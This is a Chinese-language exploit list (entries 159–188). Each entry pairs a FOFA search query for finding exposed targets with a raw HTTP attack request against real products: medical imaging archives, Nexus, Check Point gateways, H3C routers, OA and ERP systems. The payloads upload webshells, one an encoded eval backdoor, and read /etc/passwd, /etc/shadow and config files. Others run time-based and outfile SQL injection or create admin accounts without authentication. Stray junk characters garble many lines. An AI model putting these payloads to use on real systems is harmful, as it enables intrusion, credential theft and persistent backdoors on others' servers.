159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
% H) o3 w! C5 L5 y6 a! a6 APOST /webservices/WebJobUpload.asmx HTTP/1.1
$ D$ _/ S  c. L  ZHost: x.x.x.x
( d- M3 |, G' k, E2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ m& ~0 p  j: k& ^Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
7 ?# [9 b. ]7 n' `+ D0 m% \Content-Type: text/xml; charset=utf-8
: ~5 b, n0 e3 M2 p! l  {Soapaction: "http://rainier/jobUpload"
# v5 V8 M) j, A5 w7 h8 [9 F
<?xml version="1.0" encoding="utf-8"?>
5 Q! y+ U! @9 B; O. W# _7 B<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
- B3 y3 n, E) Y  u# k& e<jobUpload xmlns="http://rainier">
- v* C/ {9 h- P% A7 Y<vcode>1</vcode>
<subFolder></subFolder>
  P7 a2 Z' G8 X<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
9 E, S6 o6 e/ c  P! H2 E) j</jobUpload>
</soap:Body>
% a1 G( [6 ]7 W% @% }# J+ F</soap:Envelope>

3 h+ J! [, i# b% N" `+ ?
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

9 Q1 z. O1 o" K1 F2 V
* s6 b, Y2 D  M160. Sonatype Nexus Repository 3目录遍历与文件读取
9 N0 n7 [0 p* ECVE-2024-4956
& z6 L6 H2 ]/ \) y( SFOFA：title="Nexus Repository Manager"
$ I! C# {0 X% rGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
$ j% h2 o: j$ P# w2 K7 sUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
: s5 K! d' U6 o% |2 s, Z$ sAccept: */*
6 s, ?! s. H8 xAccept-Language: en
. I: \: S- f$ Z( J7 tAccept-Encoding: gzip
9 C+ r" K6 B4 D; l. m4 ]

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
7 n1 R, z; c- `' P) w第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
6 r) F' z% l2 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
+ i8 ]& F, \; Q7 Y: c" hContent-Type: text/xml
0 x2 n' `; c8 O9 @1 A+ RAccept-Encoding: gzip
2 S0 b' U1 ^: @2 Q, k4 b
<?xml version="1.0" encoding="utf-8"?>
( j1 m1 h, _) G3 u1 d<soap:Envelope xmlns:xsi="
  H0 [; I4 @% h5 N! ~http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! v% H2 C* P# t- u7 R<soap:Body>
  ?& O7 B7 v  V<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
  C* V1 B5 h' A9 H<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>

/ q, H& J) n' S
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
$ ^$ V" Z$ {. W, _  K; THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
: l+ ~! H: E6 ?5 AContent-Length: 583
6 E3 v& V3 u0 h+ d; @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
: L: c7 f7 ^% Y8 B
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
( a2 |$ @1 f5 I# [0 P- x  zContent-Type: application/octet-stream
- ^6 G3 o' ], W2 e5 z
- |1 L9 {( N; K<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
5 k; q6 R' L8 [$ I  U, _+ O/ E
) V/ e) e# p' [# `upload
* X1 K) `5 U2 \, G2 ~------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


, \7 U. k1 @. w& ^) y1 t! h8 B5 J! Vhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
3 {$ B7 m2 s5 D% L+ V. q, |
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
- r8 l% A1 y( a' ^Host: x.x.x.x
# n& A& y! }+ ~3 G+ x# ?6 E& n, DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
1 _: f1 |$ n- P- P7 hConnection: close
+ w* p3 U3 E% U/ z$ T$ q2 BContent-Length: 293
% D" U9 E0 L/ Y) i% e3 ZAccept: */*
6 f+ T0 j6 z6 m+ i# u% v, nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 {( K. l$ O  d9 @Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
( S1 t" H0 b1 e+ r
1 c& k: [6 t  A8 j* @' E  A: u7 X------iiqvnofupvhdyrcoqyuujyetjvqgocod
/ b. E& w$ @- ~1 G$ F/ U7 MContent-Disposition: form-data; name="name"
6 C- E+ D8 y: `# a9 S! [
, R' I- s. d" B9 b1.php
" x/ z  z1 `: o6 v------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

$ m: ^, c% G9 V( Trvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

1 f( D; Z( f  q( q+ q( a4 E
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' s0 q6 |9 d1 {% ?! |& ^# j' K. wFOFA: title="智慧综合管理平台登入"
* X/ N4 P# l* b; ~( Q6 ZPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
' g7 ~: C" C; IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
+ {$ R$ s+ P* u# @$ TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
$ U6 G; F5 p6 Z, N" g5 U5 Q& Z( @Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
. a7 P7 {' R4 C# F
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
3 d, \0 ?( j( q( I6 a2 aContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


( w0 q* a" z, g8 J+ P5 ]! m- Thttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
# f+ ^7 y' S. {% K3 d: ^CVE-2024-36428
FOFA: app="OrangeHRM-产品"
: I" ]# `! m' a7 b! g+ YURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ ]( q$ T+ Y6 ?% q: U

2 G- J/ v4 `5 r2 Y/ z/ e/ N0 q166. 中成科信票务管理平台SeatMapHandler SQL注入
8 _/ ^, \  L8 \( q) m4 M0 {FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
. G8 X! t# n- N7 H- c. @' e- uHost:
Pragma: no-cache
6 v1 Z- l" L- [8 E7 c+ O/ ~Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
" e6 A5 g" L0 F( _, M' {7 m5 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
6 G' K9 t4 x% y8 l# p0 A/ kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
( P3 m# ]% N5 t5 g  ]Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
5 \3 q/ e& r3 \- b% a2 z4 \Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

  h1 S8 ]& L+ W$ R- n8 w. `Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
! Y8 o, O1 C  B$ S7 s

167. 精益价值管理系统 DownLoad.aspx任意文件读取
) B2 b% x6 ~: }FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
0 ?4 }7 C  o8 l7 {! S6 S$ SGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
3 ~; m1 [$ w3 eHost:
) `5 m1 U/ j3 [  U% P' N1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 b" {2 {3 ~% Q2 D: B$ GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% y5 @/ `  I+ f2 S5 a& P/ TAccept: */*
Connection: keep-alive

/ q8 t. W! W; {1 r' ?
- d5 t- R3 e. x1 d2 E8 `168. 宏景EHR OutputCode 任意文件读取
! S0 W2 n- R& `0 U$ n) t  ~: }2 ^5 G. zFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
. F8 W1 N: N6 \. B: ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
- M3 ]' ~* g7 k9 R# v% }( f9 y* n$ RContent-Type: application/x-www-form-urlencoded
Connection: close
! K8 n& ?+ g/ Z0 h
; _3 T3 R5 j! t8 f* D

% D! @! a' _. W! y" F0 D169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
9 M' H2 Z) ^8 H) A& D: Y! |GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: x) K6 V7 G/ _3 H: bAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
4 M8 y3 v: E8 [; J% X/ b
6 @; t$ s% `# ?' J, S5 |

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
4 a4 v" N3 ~: G0 r. n1 @6 d  x5 ?! ?" U! zHost: balalanengliang
( F% U9 o( G# ^User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

6 @0 b& H) n6 j) t2 rfilename=../webapps/ROOT/WEB-INF/web.xml


' A1 L2 u  q; J8 {, {* n' G- {171. 通天星CMSV6车载定位监控平台 SQL注入
7 {+ w9 B: N. B9 c$ Z  `5 AFOFA：body="/808gps/"
; O" h& N  ~1 @. A( O" \GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# N7 c0 k# g/ `2 M1 m% oAccept-Encoding: gzip, deflate
3 S, E2 n2 |( M9 \$ Y  LConnection: close



7 D4 T) S6 q8 r% ?7 t172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
1 a& I( J3 m& `$ ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
% _" D$ n- L' O) l6 o% B$ M6 ?


173. Check Point 安全网关任意文件读取
1 F* o- ]& p, c9 S1 SCVE-2024-24919
/ E2 C3 z8 k8 P/ X$ O6 pFOFA：app="Check_Point-SSL-Network-Extender"
. J/ G% g, y$ ?3 g; \% U+ FPOST /clients/MyCRL HTTP/1.1
7 M3 x. W6 Y1 o* _% Y/ yHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
5 i7 q' j; j3 n0 g& ]# w4 r
+ q- {, j% P& r; R8 z+ C' y

* E4 f* @- ?- T174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
$ u9 z: n3 L/ U4 d) a$ JGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
$ ?( g* z+ H3 ^7 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 C9 S0 O' u1 d" m! g! BAccept-Encoding: gzip, deflate, br
9 i9 x2 `: ~5 b8 q9 x& Q0 wAccept-Language: zh-CN,zh;q=0.9
Connection: close


8 W6 |* ?+ z+ Y: f0 M
; D& b$ A6 `0 S+ Y0 J175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
, X4 k: z! a& {2 w! oGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
) t6 M. \2 l  j3 h1 S* ?( a' uHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 n: K& I6 u- p$ n$ f) mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


, F$ I% [  o. q! c% e; S3 s176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
0 y' S. _! E0 }* X7 L1 VPOST /manager/teletext/material/rewrite.php HTTP/1.1
& v! A1 n, I1 mHost: your-ip
7 O" x6 @- U- D& qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
* j& d( o$ U" oConnection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
3 ?/ a; @" ?( _
7 [+ d" n9 \) ?1 c<?php system("cat /etc/passwd");unlink(__FILE__);?>
, V+ j5 T" K1 u( p  r9 L------WebKitFormBoundaryOKldnDPT
, Y" \- \9 g8 y$ [( v& t9 wContent-Disposition: form-data; name="uploadtime"
7 Z: J; F% @1 F* A9 N* x* K
" w" u0 g7 W, m) C. O
------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/ R$ d* _  B" v! a! ^  y/userLogin.asp/../actionpolicy_status/../M60.cfg
) u3 Q9 M0 V4 P2 j" L; W7 k8 Q: w/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
: {  k6 O: @# m& l4 K6 ]; d: {/userLogin.asp/../actionpolicy_status/../GR3200.cfg
( I, @* U7 T# R$ z  T/ L/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
; b9 j8 i  Y2 f+ ^3 ^& J4 u/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
: d; |/ i, W# p$ j% y/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
5 B* k# X7 M# @8 E/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
" }& o% f' S! Q# a/userLogin.asp/../actionpolicy_status/../ER5200.cfg
& y4 |- l% e4 X6 V& n/ S5 }/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
( l' C" E- |/ f. o/userLogin.asp/../actionpolicy_status/../ER3260.cfg
" w# P. {& j, Q2 b0 g/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
: I  [& a, |" n3 Q. l+ t4 O/userLogin.asp/../actionpolicy_status/../ER3200.cfg
' D0 h" b9 L9 ~1 p8 Q/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
1 T& c( b* o1 A" t$ V# |) x: o, o/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
9 c& ^+ i8 h7 R& vFOFA：header="/selfservice"
" I# }) b7 h2 N8 uPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
* V. n' Q2 H+ H" q6 K9 Z) H" d* y) ?8 r0 @Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
! ^  C- b2 [' o+ b& r0 r" k-----------------aqutkea7vvanpqy3rh2l
4 \: k5 [& Q8 l4 ~6 T0 V# ?Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

6 K# _7 W: \  a( g. Z# J: u4 f12234
-----------------aqutkea7vvanpqy3rh2l--
# X6 a% s' c7 ^$ N2 G% ^
; k% i! n; {8 k* D4 M5 ]
5 u8 ]1 m, l& n2 H$ p* K8 KGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
% O  N5 T( g6 \6 c, K" YHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
* ]" T3 @, g; p; Z! U+ c; yUser-Agent: Mozilla/5.0
! {( F9 H/ d$ _& y7 D
5 v& Q- A  A) ?& V, H+ d& Spath=../log4net.config&Name=
% ^. ]1 @* o2 l2 h2 _" G
$ C. W* j% R( ?2 v7 p
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
3 T) B. _* h! A- _9 x2 U2 O9 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 o  A/ t( r. i6 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


5 l) [1 H9 A/ ]( a2 `181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# j7 Q. w* w! ~FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
& M* H9 J" q8 B: Y6 E$ IHost: your-ip
( M9 I: V, ]1 v1 U+ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& j: L. H; E1 q, j0 F) |. tAccept-Encoding: gzip, deflate, br
. s# \" Y: h3 r5 w0 cAccept-Language: zh-CN,zh;q=0.9
Connection: close
( t- D' [. u) a9 O' f. E' M1 J; GContent-Type: application/x-www-form-urlencoded

1 j% i: c" B! w& w; x3 ]
7 a4 X' i' e1 I7 \1 j9 Haction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

3 ?# }* h) Y" z; ?$ d8 s; u% ^
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 K/ h2 c! B2 f' c* h' n7 V' }; lFOFA："PDCA/js/_publicCom.js"
# s& z6 J7 B7 h6 \8 B# V. {POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
8 I2 Y$ {: O6 X" x+ L! D0 c$ s1 F2 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) i" \# ]7 C  H% t( d! @6 U- WContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

& W) J- \0 X! p" ?4 j
0 D' L& K4 p- L/ r8 p& U# V8 p183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ T2 \& p4 }* p1 _- O2 I3 jFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
* q; r& J+ c2 C. q! ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
# R# L/ U, z- H+ E( V& a; i1 CAccept-Encoding: gzip, deflate
Connection: close

# \9 O5 J9 j! D5 \
4 Q; P! a6 {6 n) p0 J184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
9 l$ l- G; F$ S7 O/ s, {2 ~POST /soap/AddUser HTTP/1.1
; o9 C0 z3 X5 }( yHost: your-ip
Accept-Encoding: gzip, deflate
9 D) t. b$ L* L# e* b  f8 }% f) tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 S$ I0 c% R$ Y; T" B6 p) i6 _3 fAccept: application/xml, text/xml, */*; q=0.01
% z  t/ W, y) g# H1 @% Y* p8 z: uContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

+ R5 \' R5 G9 N- h" l2 p
0 ]$ X! x; E" d3 hinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
5 K0 p; L5 e% }! v/ k. U
, e4 x* A; U: m2 f" M6 o
185. 瑞友天翼应用虚拟化系统SQL注入
+ g* g! `* v3 |  [0 H" Z; }version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
* O. V% w3 U9 [- H1 ZGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
' [6 h) Y( g3 S6 R9 U/ V! LHost: host
. u) z! K) Q4 ]0 s% R9 k
7 E9 L/ L& S- Y$ W7 ^5 {8 F
186. F-logic DataCube3 SQL注入
CVE-2024-31750
' C- Q) m5 u) Q* J7 _% x3 N& KF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
2 e8 Z2 Q6 x$ A" ]FOFA：title=="DataCube3"
4 o1 v9 G& [1 c& }POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
' t9 f1 e( T& ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. c$ e4 \7 Y7 Q; h" c% I- gAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
8 b% W; O+ \! l7 ?2 I* z) b1 v
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


% d) t- o- L7 T4 `, C, t9 J" u187. Mura CMS processAsyncObject SQL注入
+ y! }/ }- d# @. ?CVE-2024-32640
$ m$ P# C) Y: O" B( C8 oFOFA："Mura CMS"
+ d# V% E8 x% qPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
2 A- R* }. c4 L6 m6 r$ xHost: your-ip
( N# }# r0 c' i1 kContent-Type: application/x-www-form-urlencoded

; {; v$ k1 Y8 ]& o1 E# I1 _: m. E  U
; o1 P5 N6 s. T- l. xobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
8 d5 q) {6 z. e: c% `
5 b" ~8 j( ^( a8 \: y- P
188. 叁体-佳会视频会议 attachment 任意文件读取
; A4 s9 S0 u8 |% e- E9 f* D- pversion <= 3.9.7
